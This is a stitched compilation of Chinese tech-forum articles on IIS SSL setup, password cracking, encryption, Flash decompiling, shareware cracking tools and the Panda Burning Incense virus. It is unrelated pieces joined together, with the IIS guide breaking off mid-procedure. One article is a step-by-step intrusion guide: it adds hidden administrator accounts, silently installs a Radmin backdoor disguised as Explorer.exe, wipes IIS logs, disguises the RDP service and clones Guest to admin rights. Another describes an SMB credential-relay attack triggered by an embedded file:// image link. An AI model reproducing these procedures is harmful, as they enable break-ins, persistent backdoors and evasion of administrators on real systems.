当然不能否认近来威胁NT系统的几个漏洞都是由于IIS配置不当造成的,而且可以预见,未来IIS还会被发现很多新的漏洞和安全问题,但只要我们做好合理的安全配置,还是可以避免很多安全隐患的。本文并没有系统的去讲如何全面安全的配置IIS,我只是从利用SSL加密HTTP通道来讲如果加强IIS安全的。

一、建立SSL安全机制

IIS的身份认证除了匿名访问、基本验证和Windows NT请求/响应方式外,还有一种安全性更高的认证,就是通过SSL(Security Socket Layer)安全机制使用数字证书。SSL(加密套接字协议层)位于HTTP层和TCP层之间,建立用户与服务器之间的加密通信,确保所传递信息的安全性。SSL是工作在公共密钥和私人密钥基础上的,任何用户都可以获得公共密钥来加密数据,但解密数据必须要通过相应的私人密钥。使用SSL安全机制时,首先客户端与服务器建立连接,服务器把它的数字证书与公共密钥一并发送给客户端,客户端随机生成会话密钥,用从服务器得到的公共密钥对会话密钥进行加密,并把会话密钥在网络上传递给服务器,而会话密钥只有在服务器端用私人密钥才能解密,这样,客户端和服务器端就建立了一个惟一的安全通道。

建立了SSL安全机制后,只有SSL允许的客户才能与SSL允许的Web站点进行通信,并且在使用URL资源定位器时,输入https:// ,而不是http://.

简单的说默认情况下我们所使用的HTTP协议是没有任何加密措施的,所有的消息全部都是以明文形式在网络上传送的,恶意的攻击者可以通过安装监听程序来获得我们和服务器之间的通讯内容。这点危害在一些企业内部网络中尤其比较大,对于使用HUB的企业内网来说简直就是没有任何安全可讲因为任何人都可以在一台电脑上看到其他人在网络中的活动,对于使用交换机来组网的网络来说虽然安全威胁性要小很多,但很多时候还是会有安全突破口,比如没有更改交换机的默认用户和口令,被人上去把自己的网络接口设置为侦听口,依然可以监视整个网络的所有活动。

所以全面加密整个网络传输隧道的确是个很好的安全措施,很可惜的是现在网络上有关于具体给IIS配置SSL的文章并不是很多,我简单的摸索了下把我的经验拿出来给大家分享。

二、操作办法

以Windows2000服务器版本的来做例子讲解的,我们首先需要在控制面板里的填加删除WINDOWS组件中去安装证书服务,这个服务在默认安装中是没有安装在系统里的,需要安装光盘来安装。

由于我们是第一次配置,所以选择创建一个新的证书。用默认的站点名称和加密位长设置就可以了。颁发成功以后我们在颁发的证书里找到刚才颁发的证书,双击其属性栏目然后在详细信息里选择将证书复制到文件。我们需要把证书导出到一个文件,这里我们把证书导出到c: sql.cer这个文件里。重新回到IIS的WEB管理界面里重新选择证书申请,这个时候出来的界面就是挂起的证书请求了。

电脑中的十二种常用密码破解方法介绍

电脑中的十二种常用密码破解方法介绍

作者:korn 来源:赛迪网技术社区

在日常操作中,我们经常要输入各种各样的密码,例如开机时要输入密码,QQ时也要先输入密码,假如你忘记了这些密码,就有可能用不了机器、打不开文件、不能聊天……

  也许还会造成很大的损失!下面我们就介绍电脑操作中常用密码的破解方法,希望能解你燃眉之急!

  一、遗忘了SYSTEM密码

  如果你遗忘了CMOS设置中的SYSTEM密码,就无法启动机器了,解决的办法只能是:打开机箱,把电池取下、正负极短接,给 CMOS 放电,清除CMOS中的所有内容(当然也就包括密码),然后重新开机进行设置。

  注意:有些主板设置了CMOS密码清除跳线,请参照主板说明书将该跳线短接,这样也可以清除CMOS密码。

  二、遗忘了SETUP密码

  遗忘了该密码,就不能进行CMOS设置了。如果你能使用计算机,但不能进入CMOS设置,可以这样解决:在DOS状态下启动DEBUG ,然后输入如下命令手工清除SETUP密码:

  _ o 70 16

  _ o 71 16

  _ q

  你也可以用CMOS密码破解软件来显示CMOS密码,这样的软件有很多,例如Cmospwd,它支持Acer、AMI、AWARD、COMPAQ、DELL、IBM、PACKARD BELL、PHOENIX、ZENITH AMI等多种BIOS),在DOS下启动该程序,CMOS密码就会显示出来。

  三、遗忘了Windows登录密码

  WinMe/98下对策:开机后按F8键选择DOS启动,然后删除Windows 安装目录下的*.PWL密码文件、以及Profiles子目录下的所有个人信息文件,重新启动Windows后,系统会弹出一个不包含任何用户名的密码设置框,此时无需输入任何内容,直接单击“确定”,登录密码即被删除。

  另外,将注册表数据库HKEY_LOCAL_MACHINE、Network、Logon 分支下的UserProfiles修改为“0”,然后重新启动Windows也可达到同样目的。

  WinXP/2000下对策:删除系统安装目录system32 config下的SAM文件,重新启动,此时管理员Administrator账号已经没有密码了,用Administrator帐户登陆系统,不用输入任何密码,进入系统后再重新设置登陆帐户密码即可。

  四、遗忘了Windows屏保密码

  解决方法:在开机后按F8键,选择安全模式启动,进入Windows 后,右击桌面空白处,从弹出的快捷菜单中选择“属性”/屏幕保护,取消“密码保护”即可。

  五、遗忘了Windows电源管理密码

  Windows的电源管理功能也可以设置密码,启用此功能后,当系统从节能状态返回时就会要求输入密码。

  如果你遗忘了该密码,可以使用前面破解Windows登录密码的那种方法去破解。

  六、遗忘了微软Office密码

  解决方法:使用破解Office系列文档密码的软件,这样的软件有很多,例如AOPR(下载网址http://www.elcomsoft.com/),该软件可以同时对微软Office系列Word、Excel及Access等软件所生成的密码进行破解,还可以对Word的*.DOT模板文件的密码进行搜索。

  七、遗忘了WinZip压缩包密码

  解决方法:用软件UZPC(Ultra Zip Password Cracker,找回丢失的密码。使用该软件时要先设置适当的解密方式,例如“后门方式”、“穷举方式”、“字典方式”和“模式匹配方式”等,一般采用“Brute Force穷举方式”,然后软件就会对所有可能的密码进行测试,直至找出最后的结果。

  八、遗忘了RAR压缩包密码

  遗忘了RAR压缩包密码后,你可下载一个CRARK软件来对其进行破解,它主要通过命令行来实现对RAR压缩包的密码进行破解。使用时一般只需直接使用“CRARK RAR压缩包文件名”命令,利用缺省参数即可进行破解。

  九、遗忘了QQ/ICQ密码

  为保护QQ密码,你应该赶快申请密码保护。假如你忘记了QQ密码、或者密码被盗时,只需填写正确的信息即可取回。

  如果你要找回ICQ密码,可以使用软件ICQ Password Revealer,这是一个DOS下的命令行实用软件,你只需在ICQ安装文件夹的NEWDB子文件夹下执行该文件,然后按照屏幕提示输入自己的UIN,系统即会找回“久违”的ICQ密码。

  十、遗忘了Outlook Express密码

  如果你忘了密码,无法进入OutLook Express阅读收到的邮件、使用通讯簿等,可以这样破解:重启计算机并按F8,选择“安全模式”,再启动OE就不需要密码了,然后你可以重建一个用户(不能修改密码),把信息导入新用户信箱即可。

  十一、遗忘了Foxmail帐户密码

  解决方法:消除忘记的Foxmail帐户密码。首先打开Foxmail,新建一个帐户(帐户名任意,例如如lacl1),然后退出Foxmail;运行Windows资源管理器,找到Foxmail\MAIL\lacl1文件夹,里边有个“account.stg”,把它复制到忘记密码的帐户(例如“lacl”)目录中,直接覆盖原来的“account.stg”文件;再重新运行Foxmail,打开忘记密码的帐户,呵呵,怎么连“口令提示框”也没有?现在你就可以直接打开忘记密码的帐户,而且帐户中原来的邮件一封都不会少!

  十二、查看“*”密码

  许多密码在屏幕上都是以“*”显示的,因此我们无法直接看到密码的原始字符,如果你使用专门破解“*”密码的软件,即可查出这些密码的原始字符。

  这样的软件有很多,例如Win2000/Win98下你可用iOpus Password Recovery,WinXP下可用Password Spectator Pro。使用时,只需先打开显示“*”的窗口,启动这类软件,然后按住Ctrl键、在密码栏中按下鼠标左键,这些“*”密码的原始字符就会显示出来了。

加密解密入门:常用软件加密方法一览

作者:wg_lulu 来源:赛迪网技术社区

1.共享文件夹的加密

  网络共享在协同办公条件下得到了广泛应用,可是如果你将访问类型设为“完全”,那么电脑中的资料就存在被恶意删改的可能。建议朋友们根据不同的访问需求对共享文件夹进行权限或密码设置。以Windows 98为例,具体操作如下:用鼠标右击需要加密的文件夹,在弹出的菜单中选择“属性”,进入“共享”选项卡,在“访问类型”栏中勾选“根据密码访问”单选框,然后设置密码即可(图1)。这样访问者必须输入密码方可进行网络资源的共享。



图1

  2.WinZip的加密

  以WinZip8.1为例,它可以对压缩包进行加密,方法为:打开一个需要加密的压缩包,选择“选项→密码”命令,在弹出的窗口中输入密码(图2),点“确定”即可。对于新添加的压缩包,可以单击“添加”按钮,在弹出的窗体中点“密码”按钮进行设置。



图2

  3.WinRAR的加密

  以WinRAR2.9为例,它的加密方法与WinZip基本相似,打开一个RAR压缩包,在“文件”菜单上选择“口令”,即可进行加密设置(图3)。新添加的RAR压缩包,可以在“添加”按钮中的“高级”选项卡中进行加密设置。



图3

4.Word 2002的加密

  目前很多公司的文件都是以Word文档的方式存放的,文档的加密就显得非常重要。在Word 2002中,依次进入“工具→选项→安全性”即可进行文档文件的加密(图4)。



图4

  5.Excel 2002的加密

  在Excel 2002中,可以用与Word 2002相同的方法进行加密,此外,还可以依次选择“文件→另存为→工具→常规选项”来进行加密(此方法对Word 2002也适用)。

  6.OE邮箱的加密

  在Outlook Express 6.0(简称OE)中收发信件时可以通过密码检验来进行安全防御,操作如下:依次进入“工具→账户→属性”,在“安全”选项卡中即可进行密码设置(图5)。



图5

  7.Foxmail邮箱的加密

  如果你是用Foxmail收发邮件(以Foxmail5.0为例),也可以对邮箱添加密码保护,方法为:在主界面中右击信箱,在弹出的菜单中选择“访问口令”进入“口令”窗口(图6),在这里就可以进行密码设置了。



图6

  最后要提醒朋友们的是:密码多了很容易忘记,建议提早采取措施牢记密码,不然的话,破解起来更是劳神费力。

Flash文件的加密与破解技术详细解析

Flash文件的加密与破解技术详细解析

作者:lynn 来源:赛迪网技术社区

破解和防破解是必是同时存在的对立体。如同制造病毒和防范病毒一样,制造病毒的言论从不会公开出现在一些名门场合,所以每当病毒来袭,防范的一方总是措不及防。我们更希望看到的不是偷偷摸摸,而是从破解和防范中学习到实用的技术和知识。

  一、破解篇

  这里所谈的破解,包括提取swf、破解已加密及未加密的swf,即通常所说的“swf to fla”。

  获取swf的工具

  ·Flash Saver - 保存网页中的swf

  ·Flash文件格式转换器(FlashChanger) - 转换未加壳的exe为swf

  ·Flash吸血鬼 - 不得已时用之。

  提取范围很广,只要能看到Flash的窗口,包括加壳及未加壳的exe、网页等等。在使用Flash吸血鬼提取swf的过程中建议不要进行其他操作,否则速度会变得极其缓慢,配置不好的机器有可能死机。这也是这款软件目前版本(v2.2)最大的一个不足之处。如果想中止程序,可以在任务管理器中结束。

  使用Temporary Internet Files(IE缓存)下载MV、SWF等资源

  偶尔会有网友问我关于网上 MV 如何下载,其实方法很简单,只要到 Temporary Internet Files 文件夹下就能找到想找的大部分网络资源。

  Temporary Internet Files 是 IE 的临时文件夹。目录一般在C:\Documents and Settings\你的用户名\Local Settings\Temporary Internet Files

  使用 Temporary Internet Files 查找资源的技巧:先清空 Temporary Internet Files,然后用 IE 打开或刷新你要找的资源 (比如 MV) 所在的网页。再刷新 Temporary Internet Files 就能看到了,如果资源比较大,需要过一会,等下载完后再刷新才能看到。

  有时,部分资源会被隐藏。查看 Temporary Internet Files 的属性可以断定里面有文件,可是里面的内容却看不到。此时,用 WinRAR 压缩一下 Temporary Internet Files 就能看到了。为了不浪费时间,压缩的时候,压缩方式请选择“存储”。为了便于搜索查找,可以把压缩后的 Temporary Internet Files 解压到另一个目录下,里面的东西此时已经一目了然,分别分布在 Content.IE5 文件夹下的四个子文件夹中。

可以将 Temporary Internet Files 移动到其他分区下,一方面可以给系统分区减负,另一方面也便于查找。移动方法如下:

   Internet 选项 → 常规选项卡 → 在“Internet 临时文件”区点击“设置” → 移动文件夹 → 选择一个分区,例如选择 D,就把 Temporary Internet Files 移到了 D 盘的根目录下。最后会提示重启,其实不是重启,是注销。记得保存当前的其他工作,按确定注销。

  从Word中提取Flash

  测试环境:WindowsXP / Office2003

  ·需要一款16进制编辑工具WinHex

  ·打开含有Flash的Word文档,点击“控件工具箱”的“设计模式”按钮进入设计模式,选择Word中的Flash,复制粘贴到任意文件夹,会看到一个“片段”文件。

  ·打开WinHex,将该“片段”文件拉到WinHex中,单击下拉菜单“搜索”→“查找16进制值”,搜索“465753”,在搜索到的“465753”中的“4”位置上单击右键,选择“选块开始”。

  ·继续“搜索”→“查找16进制值”,搜索“3A5C”,然后按住F3,直到出现“3A5C未找到”,点击“是”,在最后搜索到的“3A5C”中“C”位置上单击右键,选择“选块结尾”。(注:少数情况可能会搜索不到“3A5C”,则改为搜索“3A”或“5C”,方法相同)。

  ·在选块内任意处点击右键→编辑→复制选块→进入新文件→输入文件名 (如test.swf) →保存。

  常用破解工具

  谈到破解,很多朋友都会想到时下流行的闪客精灵。以下为常用的破解工具,按我使用的频繁程度,分别有:

·硕思闪客精灵(Sothink SWF Decompiler)

  ·Action Script Viewer(ASV)

  ·Imperator FLA(有使用者译为“罗马统治者”)

  这是我最早认识的用来还原swf的工具,可惜一直在关注也没有发现2.0以上的破解版,只有1.6.9.8的破解版,这已经是3年前的版本了,只对Flash6.0以下有效。)

  ·硕思闪客之锤(Sothink SWF Quicker)

  以上四款,以Decompiler最为常用。ASV虽然强大,但在实用性方面却不如Decompiler,这应当也是为什么数年来Decompiler能够长久风靡的原因。而ASV对付Flashincrypt加密过的swf却是轻而易举,这大大弥补了Decompiler的不足。

  不少网友知道用ASV来查看swf,但是不知道如何使用它来将swf还原成fla,以5.01版本为例,只需两步:

  ·打开等待破解的swf文件(支持拖放打开),输出重建数据(File → Export Rebuild Data (JSFL)...)到某一目录下,例如:桌面\新建文件夹。

  ·双击目录下的“rebuildcommand.jsfl”,系统将启动Flash重建fla文件。根据原swf文件的复杂程度,重建fla所需的时间将有所区别。

  破解附言

  破解swf,依赖的主要是现成工具,多款工具综合使用,一款不行试另一款,如果作者有意加密,视破解者自身水平,在获取swf时将遇到规模可大可小的困难,在破解时亦将不可避免的多花些许心思。如果遇到 SWF Encrypt 加密过的作品,只能对其中的AS无奈了。

黑客大搜捕 共享软件的十大破解工具

作者:korn 来源:赛迪网技术社区

影响共享软件发展的因素很多,被非法破解可以说是共享软件的头号大敌。那么造成共享软件生存困难的cracker们到底用了那些武器呢?今天就让我让带您去看看神秘的cracker常用的十类软件,它们就是共享软件的十大杀手!

一. 调试类工具soft-ice和trw2000

soft-ice是目前公认最好的跟踪调试工具。使用soft-ice可以很容易的跟踪一个软件、或是监视软件产生的错误进行除错,它有dos、window3.1、win95/98/nt/2000/各个平台上的版本。这个本是用来对软件进行调试、跟踪、除错的工具,在cracker手中变成了最恐怖的破解工具;trw2000是中国人自己编写的调试软件,完全兼容soft-ice各条指令,由于现在许多软件能检测soft-ice存在,而对trw2000的检测就差了许多,因此目前它成了很多cracker的最爱。trw2000专门针对软件破解进行了优化,在windows下跟踪调试程序,跟踪功能更强;可以设置各种断点,并且断点种类更多;它可以象一些脱壳工具一样完成对加密外壳的去除,自动生成exe文件,因此它的破解能力更强,在破解者手中对共享软件的发展威胁更大。它还有在dos下的版本,名为tr。

二. 反汇编工具wdasm8.93黄金版和hiew

cracker常将soft-ice和trw2000比作屠龙刀,将wdasm8.93则比作倚天剑。wdasm8.93可方便地反汇编程序,它能静态分析程序流程,也可动态分析程序。在原有的普通版的基础上,一些破解者又开发出了wdasm8.93黄金版,加强了对中文字符串的提取。对国产共享软件的威胁也就更大了。例如开心斗地主这个很好玩的共享软件,用黄金版对其反汇编可以直接看到注册码,普通版不能,您说它厉害不?hiew是一个十六进制工具,它除了普通十六进制的功能外,它还有个特色,能反汇编文件,并可以用汇编指令修改程序, 用它修改程序,方便快捷!这也是cracker们常用的静态反汇编工具。

三. visual basic程序调试工具smartcheck

这是专门针对visual basic程序的调试程序,由于vb程序执行时从本质上讲是解释执行,它们只是调用 vbrunxxx.dll 中的函数 ,因此vb 的可执行文件是伪代码,程序都在vbxxx.dll 里面执行。若用soft-ice跟踪调试只能在vbdll里面用打转转,看不到有利用价值的东西,而且代码质量不高,结构还很复杂。当然只要了解其特点用soft-ice也可破解 ,但smartcheck的出现,大大方便了cracker。smartcheck 是 numega 公司出口的一款出色的调试解释执行程序的工具,目前最新版是v6.03。它非常容易使用,你甚至于不需要懂得汇编语言都能轻易驾驭它。它可将vb程序执行的操作完全记录下来,使破解者轻而易举的破解大部分vb程序。

四. 十六进制编辑器ultraedit

十六进制编辑器可以用十六进制方式编辑文件,修改文件的内容。虽然hiew就是一款是十六进制工具,但它是dos界面,因此很多破解者又准备了一款windows下的工具,这样的工具很多,如:ultraedit、winhex、hex workshop 等,其中ultraedit比较有特色,操作方便,更有汉化版可用,它是非常出色的十六进制编辑器,建议您也找一个用用。

五. 注册表监视工具



主要有regshot、regmon或regsnap等。在微软操作系统中,众多的设置都存放在注册表中,注册表是windows的核心数据库,表中存放着各种参数,直接控制着windows的启动、硬件驱动程序的装载以及一些windows应用程序的正常运行。在应用软件安装时,有可能将一些必要的信息放进去,如安装时间、使用次数、注册码等。regshot、regmon或regsnap就是监视注册表变化的工具,通过它可以了解、监视应用程序在注册表中的动作,破解者常利用它们来监视应用程序在注册表中的变化。

六. 文件监视工具filemon

可监视系统中指定文件运行状况,如指定文件打开了哪个文件,关闭了哪个文件,对哪个文件进行了数据读取等。通过它,任何您指定监控的文件有任何读、写、打开其它文件的操作都能被它监视下来,并提供完整的报告信息。破解者经常利用filemon监控文件系统,以便了解程序在启动、关闭或验证注册码时做了哪些手脚,并由此进行相应的解密。

七. 脱壳工具procdump

现在许多软件都加了壳,“壳”是一段专门负责保护软件不被非法修改或反编译的程序。它们一般都是先于程序运行,拿到控制权,然后完成它们保护软件的任务。经过加壳的软件在跟踪时已无法看到其真实的十六进制代码,因此可以起到保护软件的目的。procdump就是个对付软件加壳的脱壳工具,它可剥去许多种壳,还文件本来面目,这样再修改文件内容就容易多了。由于它还允许使用者自己编写脚本文件,因此利用它能脱去新版加壳软件的壳。它同时还是一款优秀的pe格式修改工具,是脱壳必备工具!

八. 侦测文件类型工具



这样的工具有typ、gtw、fileinfo和冲击波2000等。它们被用来侦测软件被加壳类型,其中冲击波2000能轻易的找到任何加密壳的入口点,包括asprotect以及幻影的加密壳都可以。这类软件一般是配合procdump和调试软件使用的,用它们找到程序加壳类型,用procdump或soft-ice、trw2000脱壳。

九. 资源修改器 exescope

exescope是一个可以修改软件资源的工具,功能强大。 exescope能在没有资源文件的情况下分析、显示不同的信息,重写可执行文件的资源,包括(exe,dll,ocx)等。它可以直接修改用 vc++ 及 delphi 编制的程序的资源,包括菜单、对话框、字串表等,是汉化软件的常用工具。在破解者手中,它常被用来修改文件资源中的菜单、对话框、字串表等,用以显示破解者需要的信息(例如更改版权信息等),以此达到修改软件的目的。

十. api调用查询工具api spy



顾名思义,这个程序是用来侦测软件都调用了哪些api。 api就是windows程序执行时所呼叫的函数,跟dos下的int(中断)差不多,windows 提供了很多这样的函数让程序设计者套用,主要目的是为了节省软件开发的时间,方便大家开发软件。api spy就是这样一个监控api调用的软件,它可以查看应用程序调用了哪些api,从而得出对破解者有用的api调用信息,通过这些api调用来设定断点,达到破解软件的目的。它可以工作在windows95/98/nt/2000平台下。

好了,共享软件的十大杀手为您介绍完了,如何对付它们就是您的事了。需要说明的一点是,以上提到的软件都是“正当”软件,只是在不同的使用者手中发挥了不同的用途。就犹如一把枪,在人民军队手中就是保家卫国的武器,在为非作歹的坏人手中就是一把凶器了,千万不能此就对这些软件产生成见哦!

高手全面解析入侵3389全部流程

高手全面解析入侵3389全部流程

作者:网页教学网

【简 介】

  这是本人多年下来的经验。

工具:WINNTAutoAttack自动攻击器(扫漏洞);SQLTOOLS(SA空口令连接器);RAMDIN影子3.0中文版(远程控制程序)(RADMIN注册码:

08US9A95I+lKa9nbOLXqv0V8xqdDvKGcNcTpN2wV11iSqOCVuA

6A5KKZRHc5GVMIybWomK6rNwoj8mYy8LXRFi23);SC.exe port.bat query.exe quser.exe(隐藏3389服务及不让管理发现自己程序);CleanIISLog.exe(小榕的擦PP程序);3389.exe(开3389端口服务的);psu.exe(使用被禁止的Guest帐户要用到的);mstsc.exe(远程桌面连接程序)。

一.扫到SA弱口令(自动攻击器)

二.用SQLTOOLS连上去建一个用户

net start telnet

开telnet服务

net user mint mint /add

添加用户mint密码为

mint net localgroup administrators mint /add

将帐号mint升级为管理员

三.上传后门程序RAD.EXE(RADMIN服务端自解压程序)

制作RAD.EXE过程:

1、到Radmin安装目录下找到AdmDll.dll、 raddrv.dll和r_sever.exe;

2、在本地设置服务端(一定要生成);

设置密码-->>设置连接端口(默认4489)-->>生成

3、导出注册表HKEY_LOCAL_MACHINE\SYSTEM\Radmin的键值为1.reg;

4、编写一个批处理,并命名为u.bat;

@echo offnet stop r_server

5、写第二个批处理,r.bat,内容为:

@echo off@Explorer.exe /

uninstall /silence@Explorer.exe /install /

silence@regedit /s 1.reg@echo off@Explorer.exe /uninstall /

silence@Explorer.exe /install /silence@regedit /

s 1.reg@net start r_server@del

rad.exe@del 1.reg@del r.bat@del u.bat

6、将AdmDLL.dll raddrv.dll Explorer.exe(r_sever.exe改名) u.bat r.bat压缩成Rad.RAR压缩包;

7、将Rad.rar制作成自解压文件;

选择Default.sfx的自释放模块-->>高级自释放选项

-->>常规

释放路径:%systemroot%\system32

安装程序:释放后运行:r.bat 释放前运行u.bat

-->>摸式

缄默模式:全部隐藏 覆盖方式:覆盖所有文件

-->>确定-->>确定

生成完成。

四.用RADMIN客服端连接

上传文件到c:\WINNT(XP是windows):

port.bat(如果是在XP下,这个要把里面的WINNT改为Windows)

query.exe quser.exe

SC.exe

CleanIISLog.exe.exe

3389.exe

psu.exe

最好再上传一个反弹后门RADMIN进入TELNET。

运行c:\winnt\3389.exe,重启肉鸡。

五.重启后用远程桌面远程器连上去

这里就有时会出现个问题。

使用3389登陆,发现登陆用户已满,不用怕,我们把他踢出去。

telnet对方ip,发现需要 NTLM 身份验证。我们在自己的电脑里建立一个帐号mint密码为mint身份为管理员。

找到c:\winnt\system32\cmd.exe 建立一个快捷方式到桌面。修改cmd的快捷方式属性为允许其他身份登陆。然后运行桌面上的cmd.exe的快捷方式。输入帐号mint密码mint,telnet对方ip,直接可以登陆对方电脑了。

使用命令:

c:\query user (查看对方目前终端登陆状况。)

运行命令:

c:\logoff 1(踢出去一个管理者)

再用c:\query user检查一便~~(这就是为什么不马上用1.bat了)

六.连上后..在cmd下运行

c:\winnt\log . 自己的IP .(擦PP)

c:\winnet\1.bat (删除覆盖查看当前在线用户文件)

七.打SA空口令补丁

程序-->>Microsoft SQL Server-->>查询分析器(有放大镜的)

-->>Windowst身位验证登陆

复制一下代码:SELMIS

if exists (select * from dbo.sysobjects where id

= object_id(N\’[dbo].[xp_cmdshell]\’)

and OBJECTPROPERTY(id, N\’IsExtendedProc\’)

= 1) exec sp_dropextendedproc N\’[dbo].[xp_cmdshell]\’GO

按F5(运行),关了退出SQL Server再用SQL Server身位验证进一次,退出(这是为了不留下记录)。

八.改3389端口和服务名称

修改服务器端的端口设置,注册表有2个地方需要修改。

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp],PortNumber值,默认是3389,选择10进制,修改成所希望的端口,比如1314。

第二个地方:

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] PortNumber值,默认是3389,选择10进制,修改成所希望的端口,比如1314。

要重启系统才能用新端口连。(不急..改了他的服务名再重启系统吧)

导出3389服务的

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]

的键值为mm.reg文件。编辑mm.reg文件,替换TermService为Alerter(错误警告服务..别的服务也行) 。再把第十行的"Description"="(这里是服务说明,改为你所换的服务说明,这里改为通知所选用户和计算机有关系统管理级警报。)"第十一行的"DisplayName"="(这里是服务名称,改为你所换的服务名称,这里改为Alerter)。保存,再导入注册表(这里要先运行Services.msc(可在CMD下打这命令)服务管理器..把Alerter的服务先停止)。

再在CMD下

CD c:\winnt\

system32 copy termsrv.exe service.exe

(这里是复制termsrv.exe为Alerter服务文件名差不多的文件)

CD C:\winnt sc \\127.0.0.1 config Alerter binpath=

c:\winnt\system32\service.exe

(这里是从新定向Alerter服务文件.服务名一定要区分大小写A要大写)

九.注消后(注消比直接关要好些)用Radmin重启肉鸡

十.使用被禁用的帐户[Guest]登陆,删除自己开始建的帐号

1.使用psu.exe展开注册表到

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users

用法:[psu -p regedit -i pid]

Pid 的值为在任务栏空白处点右键-->>任务管理器--->>进程中的winlogon.exe后面的数值就是PID数值。

如:psu –p regedit –i 157

将Guest克成管理员权限,克成管理员权限的方法:

找到HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Administrator的类型值。

在HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\下找到这个类型值在复制数值名为F的数值数剧覆盖相应的Guest的类型值(找的方法一样)。

导出Guest的配置(也就是导出HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Guest和他相应的类型值的数据),然后删除Guest的配置。

2.查看计算机管理中帐户列表,刷新这时候会出现错误[找不到帐户](跳过这步也行)。

3.将Guest的配置(二个REG文件导进注册表)。

4.修改Guest帐户密码,命令行下禁用Guest帐户[一定是命令行下]。

net user Guest ****

[修改密码]net user Guest /

active:yesnet user Guest /active:no[命令行下禁用Guest]

5.实验被禁止的帐户Guest是否可用。

6.用Guest登陆后删除自己建的帐号。

net user mint /del

整个过程结束。

最后最好把RADMIN的服务也改了,多留个后门多条路,呵呵。整个过程全部结束,这机子就真正变成你的肉鸡了。

黑客实战 系统泄露密码入侵攻击分析

作者:korn 来源:赛迪网技术社区 

WINDOWS访问139端口时自动用当前用户、密码连接,造成泄露用户密码,虽然其密码是加密的,但一样可以用来攻击。

下面是SMB的密码认证方式。

WINDOWS的139口的访问过程,箭头表示数据方向:

1.客户端<--------------------建立TCP连接----------------->服务端

2.客户端-------客户端类型、支持的服务方式列表等---------->服务端

3.客户端<---------服务器认证方式、加密用的key等-----------服务端

认证方式就是用户级认证还是共享级认证和密码加密不,key是服务器随机生成的8个字节,WIN2000已经支持16个字节的 key。

4.客户端--------------用户名、加密后密码----------------->服务端

WIN9X、WINNT、WIN2000这有个漏洞,不经过提示等就把当前用户名,密码加密后发过去了,导致密码泄漏。这儿加密是DES的变形,lockedpass=chgdes(key,pass)。这儿的pass是作为DES变形的KEY,key是作为DES变形的待加密数据。

5.客户端<---------------认证成功否-----------------------服务端

WINDOWS客户端第4步有漏洞,显然服务端可以得到username和lockedpass=chgdes(key,pass), 其中key可以自由指定,因为这是服务方提供的,usname、pass是客户端当前访问者用户名和密码。这儿的加密变换不可逆,但已经可以用暴力法破解了,也已经有了这样的程序。其实我们有时并不一定要得到密码明文的,只要能提供连接需要的就可以了。我们来看得到lockedpass有什么用,我们反过去访问看看,telnet、ftp等连接要密码明文我们得到的lockedpass不能提供,那么我们考虑用同样加密算法传密码密文的服务呢?比如就是NETBIOS共享服务。前面是服务端得到东西,那现在就是站在客户端了,再看前面那过程,显然其实我们并不需要提供pass,是不是只需要提供username和lockedpass2=chgdes(key2,pass)就可以了?其中key2是现在的服务端提供的。看看我们有 usname和lockedpass=chgdes(key,pass)其中key我们可以自己指定,大家一看显然只要key=key2那么就需要的我们都有了是不是?所以我们要使得key=key2.

好我们再仔细看看连接过程,别人连接两步1、2:

1.客户端<--------------------建立TCP连接----------------->服务端

2.客户端-------客户端类型、支持的服务方式列表等---------->服务端

下面就该

3.客户端<---------服务器认证方式、加密用的key等-----------服务端

这我们需要提供key,这儿我们不能随便提供key,需要提供key2,那么我们就要得到key2,显然需要连接NETBIOS服务回去。显然这而需要连接回去的11,22,33共3步(为了区分连接回去的步子用重号表示)才能得到key2,显然这2步和3步不需要有先后顺序。所以我们可以得到连接指定IP的NETBIOS服务然后等这用户来访问,这可能有时间超时等处理,或者等到任意IP连接NETBIOS服务后马上连回去,反正怎么处理方便、满足需要就怎么处理。

下面显然就是设置 key=key2返回3,那就等4得到lockedpass了,第5步嘛就你自由处理了,要不返回密码错误,后面就是44、55……

总的来就是1,2,11,22,33,3,4,5,44,55……显然你就是以那机器访问你的用户的身份去访问他的NETBIOS服务了,能干什么那就看那用户的权限了。

注意有兴趣的可以把SAMB包的客户端程序修改加上一点服务的前几步就可以了。显然这主要利用的还是WINDOWS泄露当前用户名、加密密码漏洞。还有这需要别人来访问你的机器,这好办,邮件或者主页等里面来个

IMGsrc”="file://ip/filename" ...

就可以了。我实验了去掉机器139口服务(要不有139口要影响后面端口重定向),用端口重定向程序把来向139口定向回去,找另一个WINNT机器用\\ip访问那重定向139口的机器,结果是没有密码提示就看到WINNT机器本身了。其实这时重定向端口程序那台机器已经用WINNT机器的当前用户访问WINNT了,只是由于没有客户端的处理界面不能操作。(T002)

杀毒厂商当心搬起熊猫砸了自己的脚

杀毒厂商当心搬起熊猫砸了自己的脚

【IT168 软话不软】熊猫烧香闹到今天,已经不仅仅是个技术问题,而成了一个社会问题了。抛开法律等专业性较强的争论不谈,仅看各杀毒厂商在这场风波中的口水大战,就足够让人笑掉大牙的了。

国际口水大战 专杀工具该不该存在

2007年1月下旬,卡巴斯基一篇关于“病毒专杀是否应该存在”的评论文章现身互联网,矛头直指国内某些杀毒软件,说他们通用杀毒能力不足,只能依靠专杀工具来弥补。此言一出,立刻引起了轩然大波,前一天还在为市场份额争得你死我活的国内厂商突然变得空前团结,纷纷指责卡巴斯基是由于地震问题导致软件无法升级,眼睁睁错过熊猫烧香这股“东风”,才故意散布谣言,纯属酸葡萄心理在作祟。

好在, 熊猫烧香的作者李俊随后不久便被警方抓获,本以为事情可以告一段落。岂料,李俊在看守所里又写了个“官方”专杀工具出来,虽然尚未对外公布,但却已有报导称该工具确实能把熊猫烧香彻底清除干净。于是,杀毒厂商们又坐不住了,第一时间跳出来说“官方”专杀只是把代码中含有“whboy”字样的文件删掉,技术比杀毒厂商的工具不知要低多少倍,还说“个人写出的软件能保证稳定性和兼容性吗”,云云……

